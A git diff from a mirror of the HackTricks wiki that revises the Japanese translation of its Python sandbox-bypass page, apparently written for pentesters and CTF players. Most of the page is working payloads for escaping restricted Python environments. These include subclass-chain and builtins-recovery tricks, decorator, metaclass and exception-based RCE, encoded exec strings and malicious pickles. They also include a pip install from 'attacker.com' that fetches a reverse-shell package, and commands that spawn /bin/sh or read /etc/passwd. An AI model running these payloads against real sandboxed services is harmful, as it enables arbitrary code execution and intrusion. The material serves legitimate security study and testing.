mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/django.m
This commit is contained in:
parent
2d42406bc5
commit
1166790c70
@ -1,12 +1,12 @@
|
||||
# Pythonサンドボックスをバイパスする
|
||||
# Pythonサンドボックスを回避する
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
以下はいくつかのトリックで、pythonのサンドボックス保護をバイパスして任意のコマンドを実行する方法です。
|
||||
以下はいくつかのpythonサンドボックス保護を回避し、任意のコマンドを実行するためのトリックです。
|
||||
|
||||
## コマンド実行ライブラリ
|
||||
|
||||
最初に知るべきことは、既にインポートされているライブラリで直接コードを実行できるか、あるいは以下のいずれかのライブラリをインポートできるかどうかです:
|
||||
まず最初に確認すべきことは、すでにインポートされたライブラリで直接 code を実行できるか、またはこれらのライブラリを import できるかどうかです:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,35 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
_Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox._
|
||||
|
||||
_**open**_ と _**read**_ 関数は、python sandbox 内のファイルを **read files** したり、**write some code** を書いて **execute** し、sandbox を **bypass** するのに役立つことを覚えておいてください。
|
||||
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
|
||||
|
||||
> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
|
||||
> **Python2 input()** function は、プログラムがクラッシュする前に python code を実行できることがあります。
|
||||
|
||||
Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
Python は **load libraries from the current directory first** を試みます(次のコマンドは python がどこからモジュールをロードしているかを出力します): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
|
||||
## デフォルトでインストールされた python packages を使った Bypass pickle sandbox
|
||||
### デフォルトのパッケージ
|
||||
|
||||
### Default packages
|
||||
|
||||
### デフォルトの packages
|
||||
|
||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
ここで **事前にインストールされたパッケージの一覧** を確認できます: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html]\
|
||||
|
||||
Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
|
||||
pickle からは、python 環境にシステムにインストールされた任意のライブラリを **import arbitrary libraries** させることができる点に注意してください。\
|
||||
|
||||
For example, the following pickle, when loaded, is going to import the pip library to use it:
|
||||
例えば、以下の pickle はロードされると pip ライブラリをインポートして使用します:
|
||||
事前インストール済みの**パッケージの一覧**はここにあります: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
注意: pickle から、システムにインストールされている python env に **import arbitrary libraries** させることができます。\
|
||||
例えば、次の pickle をロードすると pip ライブラリをインポートして利用します:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -80,13 +66,13 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
For more information about how pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
pickle の仕組みについての詳細は次を参照してください: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pipパッケージ
|
||||
### Pip package
|
||||
|
||||
トリック共有者: **@isHaacK**
|
||||
トリックは **@isHaacK** によって共有されました
|
||||
|
||||
もし `pip` または `pip.main()` にアクセスできる場合、任意のパッケージをインストールして、呼び出すことで reverse shell を取得できます:
|
||||
もし `pip` または `pip.main()` にアクセスできる場合、任意のパッケージをインストールして、次の呼び出しで reverse shell を取得できます:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
@ -98,12 +84,12 @@ Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
|
||||
> このパッケージは `Reverse` と呼ばれています。ただし、特別に作られており、reverse shell を終了するとインストールの残り工程が失敗するようになっているため、退室時にサーバ上に余分な python package を残すことはありません。
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)
|
||||
> exec は複数行文字列や ";" を許可しますが、eval は許可しません(walrus operator を確認してください)
|
||||
|
||||
If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction:
|
||||
```python
|
||||
@ -126,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### evalでpython codeを実行できるその他のライブラリ
|
||||
### eval python code を許可するその他のライブラリ
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -140,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
また、PDF generators における実世界の sandboxed evaluator escape も参照してください:
|
||||
また、PDF生成ツールにおける実際のサンドボックス化された evaluator の脱出事例も参照してください:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). これは rl_safe_eval を悪用して、評価された属性(例えば font color)から function.__globals__ や os.system にアクセスし、レンダリングを安定させるために有効な値を返します。
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733)。これは rl_safe_eval を悪用し、評価された属性(例えばフォントの色)から function.__globals__ と os.system に到達し、レンダリングを維持するために有効な値を返す。
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## 演算子と小技
|
||||
## 演算子とちょっとした小技
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -157,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## エンコーディングを用いた保護の回避 (UTF-7)
|
||||
## エンコーディングを使った保護の回避 (UTF-7)
|
||||
|
||||
この[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)では、UFT-7が見かけ上の sandbox 内で任意の python コードを読み込み実行するために使われています:
|
||||
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7 が一見 sandbox の環境内で任意の python コードをロードして実行するために使用されます:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -170,13 +156,13 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
その他のエンコーディング(例: `raw_unicode_escape` と `unicode_escape`)を使ってバイパスすることも可能です。
|
||||
例えば `raw_unicode_escape` や `unicode_escape` といった他のエンコーディングを使って回避することも可能です。
|
||||
|
||||
## Python での呼び出しができない場合の実行
|
||||
## 呼び出しなしでの Python 実行
|
||||
|
||||
もし python ジェイル内にいて **呼び出しを行えない**場合でも、**任意の関数やコードを実行**したり、**コマンド**を実行したりする方法はいくつかあります。
|
||||
もし Python の jail 内で **関数呼び出しが許可されていない** 場合でも、任意の **関数やコード**、**コマンド** を **実行する** 方法はいくつかあります。
|
||||
|
||||
### RCE を使った [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
### [decorators](https://docs.python.org/3/glossary.html#term-decorator) を使った RCE
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
@ -200,11 +186,11 @@ class _:pass
|
||||
```
|
||||
### RCE creating objects and overloading
|
||||
|
||||
もし**declare a class**できて、そのクラスの**create an object**を行えれば、直接呼び出す必要がない状態で**triggered**されるような**write/overwrite different methods**を作成/上書きできる可能性があります。
|
||||
**declare a class** を宣言し、そのクラスの **create an object** を作成できるなら、**write/overwrite different methods** を作成または上書きして、これらが **triggered** され、**without** **needing to call them directly** 実行されるようにできます。
|
||||
|
||||
#### RCE with custom classes
|
||||
|
||||
いくつかの**class methods**を(_by overwriting existing class methods or creating a new class_)変更して、直接呼び出さなくても**triggered**されたときに**execute arbitrary code**するようにできます。
|
||||
いくつかの **class methods** を(_by overwriting existing class methods or creating a new class_)変更して、直接呼び出されなくても **triggered** されたときに **execute arbitrary code** するようにできます。
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -256,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) を使ったオブジェクトの作成
|
||||
|
||||
メタクラスが可能にする主なことは、ターゲットクラスをメタクラスとして持つ新しいクラスを作成することで、**クラスのインスタンスをコンストラクタを直接呼び出さずに作成する**ことです。
|
||||
metaclasses が可能にする主なことは、**コンストラクタを呼び出さずにクラスのインスタンスを作る**ことを、ターゲットクラスを metaclass として持つ新しいクラスを作成することで直接実現できる点です。
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -271,9 +257,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### 例外を使ったオブジェクトの作成
|
||||
#### exceptions を使ったオブジェクトの作成
|
||||
|
||||
**exception is triggered** と、コンストラクタを直接呼び出さなくても **Exception** のオブジェクトが **created** されます(トリックは [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) から):
|
||||
**exception is triggered** と、**Exception** のオブジェクトが、コンストラクタを直接呼び出す必要なく**作成されます**([**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) のトリック):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -293,7 +279,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
### さらに RCE
|
||||
### さらなるRCE
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||
@ -315,7 +301,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### builtins の help & license を含むファイルを読む
|
||||
### builtins のヘルプとライセンスを含むファイルを読む
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -329,18 +315,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
もし**`__builtins__`**オブジェクトにアクセスできれば、ライブラリをimportできます(ここでは最後のセクションで示した別の文字列表現を使うこともできる点に注意してください):
|
||||
**`__builtins__`** オブジェクトにアクセスできる場合、ライブラリをインポートできます(ここでは最後のセクションで示した別の文字列表現を使用することもできる点に注意):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### ビルトインがない場合
|
||||
### Builtins がない場合
|
||||
|
||||
`__builtins__` がないと、何もインポートできず、ファイルの読み書きさえできません。なぜなら **all the global functions**(`open`、`import`、`print`...)が**読み込まれていない**からです。\
|
||||
`__builtins__` がないと、何も `import` できず、ファイルの読み書きすらできません。理由は、**すべてのグローバル関数**(`open`, `import`, `print`...)が**ロードされていない**からです。\
|
||||
しかし、**デフォルトで python は多くのモジュールをメモリに `import` します**。これらのモジュールは一見無害に見えるかもしれませんが、その中には内部で危険な機能を読み込んでおり、それにアクセスすることで**arbitrary code execution**さえ得られる場合があります。
|
||||
|
||||
しかし、**by default python imports a lot of modules in memory**。これらのモジュールは一見無害に見えるかもしれませんが、その中にはアクセスすることで**also importing dangerous**な機能が含まれており、**arbitrary code execution**に至ることさえあります。
|
||||
|
||||
以下の例では、ロードされたこれらの**"benign"**モジュールのいくつかをどのように**abuse**して、その中の**dangerous**な**functionalities**に**access**するかを示します。
|
||||
以下の例では、ロードされているこれらの“**無害**”なモジュールのいくつかを**悪用**して、その内部にある**危険な**機能へ**アクセス**する方法を確認できます。
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -382,7 +367,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) は、**builtins** を見つけられる数十/**数百**の**場所**を見つけるためのものです。
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) で、**builtins** を見つけられる数十/**hundreds**の**places**があります。
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -390,7 +375,7 @@ get_flag.__globals__['__builtins__']
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
### Builtins ペイロード
|
||||
### Builtins payloads
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
@ -398,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## グローバルとローカル
|
||||
## Globals and locals
|
||||
|
||||
**`globals`** と **`locals`** を確認することは、何にアクセスできるかを知るための良い方法です。
|
||||
アクセスできるものを把握するために、**`globals`** と **`locals`** を確認するのは良い方法です。
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -424,15 +409,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) は、何十/**何百**の**場所**で**globals**を見つけるためのものです。
|
||||
[**以下により大きな関数があります**](#recursive-search-of-builtins-globals) は、数十/**数百**の**場所**で**globals**を見つけるためのものです。
|
||||
|
||||
## Discover Arbitrary Execution
|
||||
## Arbitrary Execution の発見
|
||||
|
||||
ここでは、**ロードされているより危険な機能**を簡単に発見する方法を説明し、より信頼性の高いエクスプロイトを提案します。
|
||||
ここでは、**more dangerous functionalities loaded** を簡単に発見する方法と、より信頼できるエクスプロイトを提案します。
|
||||
|
||||
#### Accessing subclasses with bypasses
|
||||
|
||||
このテクニックで最もセンシティブな部分の1つは、**access the base subclasses** にアクセスできることです。前の例では `''.__class__.__base__.__subclasses__()` を使ってこれを行いましたが、**他の可能な方法**もあります:
|
||||
このテクニックで最も敏感な部分の一つは、**access the base subclasses** にアクセスできることです。前の例では `''.__class__.__base__.__subclasses__()` を使用してこれを行いましたが、**他の可能な方法** もあります:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -460,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### ロードされている危険なライブラリを見つける
|
||||
### ロードされている危険なライブラリの検出
|
||||
|
||||
例えば、ライブラリ **`sys`** を使って **import arbitrary libraries** が可能だと分かっているなら、**内部で sys を import しているロード済みモジュール** をすべて検索できます:
|
||||
例えば、ライブラリ **`sys`** によって **import arbitrary libraries** が可能であることが分かっている場合、**modules loaded that have imported sys inside of them** をすべて検索できます:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
たくさんありますが、コマンドを実行するには**1つだけで十分です**:
|
||||
たくさんありますが、コマンドを実行するには**1つだけで十分です**:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
同じことは、**コマンドを実行できる**とわかっている**他のライブラリ**でも行えます:
|
||||
同じことは、**other libraries** で、**execute commands** に使えることが分かっているものでも行えます:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -506,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
さらに、どのモジュールが悪意のあるライブラリを読み込んでいるかを検索することもできます:
|
||||
さらに、どの modules が悪意のある libraries をロードしているかを検索することもできます:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -525,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
さらに、もし**他のライブラリ**が**コマンドを実行する関数を呼び出す**可能性があると考えるなら、候補のライブラリ内の**関数名でフィルタリングする**こともできます:
|
||||
さらに、**他のライブラリ** が **コマンドを実行するために関数を呼び出せる** と考えられる場合、候補のライブラリ内で **関数名でフィルタ** することもできます:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -558,10 +543,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Builtins, Globals の再帰的検索...
|
